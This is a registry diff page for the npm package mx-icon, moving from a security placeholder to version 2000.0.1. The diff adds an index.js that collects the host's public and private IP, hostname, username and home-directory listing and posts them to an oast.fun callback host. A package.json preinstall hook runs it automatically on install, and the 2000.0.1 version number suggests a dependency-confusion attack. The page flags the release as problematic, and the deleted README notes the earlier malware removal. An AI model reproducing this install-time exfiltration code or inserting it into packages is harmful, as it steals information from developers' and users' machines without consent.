mx-icon 0.0.1-security → 2000.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mx-icon might be problematic. Click here for more details.
- package/index.js +65 -0
- package/package.json +15 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,65 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
const os = require('os');
|
3
|
+
const fs = require('fs');
|
4
|
+
|
5
|
+
// Retrieve public IP address
|
6
|
+
async function getPublicIP() {
|
7
|
+
try {
|
8
|
+
const response = await axios.get('https://api.ipify.org');
|
9
|
+
return response.data.trim();
|
10
|
+
} catch (error) {
|
11
|
+
console.error('Error retrieving public IP address:', error.message);
|
12
|
+
return null;
|
13
|
+
}
|
14
|
+
}
|
15
|
+
|
16
|
+
// Retrieve private IP address
|
17
|
+
function getPrivateIP() {
|
18
|
+
const networkInterfaces = os.networkInterfaces();
|
19
|
+
for (const iface of Object.values(networkInterfaces)) {
|
20
|
+
const address = iface.find((details) => details.family === 'IPv4' && !details.internal);
|
21
|
+
if (address) {
|
22
|
+
return address.address;
|
23
|
+
}
|
24
|
+
}
|
25
|
+
return null;
|
26
|
+
}
|
27
|
+
|
28
|
+
// Retrieve hostname
|
29
|
+
const hostname = os.hostname();
|
30
|
+
|
31
|
+
// Retrieve username
|
32
|
+
const username = os.userInfo().username;
|
33
|
+
|
34
|
+
// Retrieve contents of home directory
|
35
|
+
function getHomeDirectoryContents() {
|
36
|
+
try {
|
37
|
+
return fs.readdirSync(os.homedir());
|
38
|
+
} catch (error) {
|
39
|
+
console.error('Error retrieving home directory contents:', error.message);
|
40
|
+
return null;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
|
44
|
+
async function sendData() {
|
45
|
+
const publicIP = await getPublicIP();
|
46
|
+
const privateIP = getPrivateIP();
|
47
|
+
const homeDirectoryContents = getHomeDirectoryContents();
|
48
|
+
|
49
|
+
const data = {
|
50
|
+
public_ip: publicIP,
|
51
|
+
private_ip: privateIP,
|
52
|
+
hostname: hostname,
|
53
|
+
username: username,
|
54
|
+
home_directory_contents: homeDirectoryContents,
|
55
|
+
};
|
56
|
+
|
57
|
+
try {
|
58
|
+
const response = await axios.post('http://cjqf1ed2vtc0000rqq9ggjmzozeyyyyyb.oast.fun', data);
|
59
|
+
console.log('Data sent successfully:', response.data);
|
60
|
+
} catch (error) {
|
61
|
+
console.error('Error sending data:', error.message);
|
62
|
+
}
|
63
|
+
}
|
64
|
+
|
65
|
+
sendData();
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
1
|
{
|
2
2
|
"name": "mx-icon",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2000.0.1",
|
4
|
+
"description": "BugBounty mexc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^1.4.0",
|
14
|
+
"express": "^4.18.2",
|
15
|
+
"lodash": "^4.17.21",
|
16
|
+
"moment": "^2.29.4"
|
17
|
+
}
|
6
18
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=mx-icon for more information.
|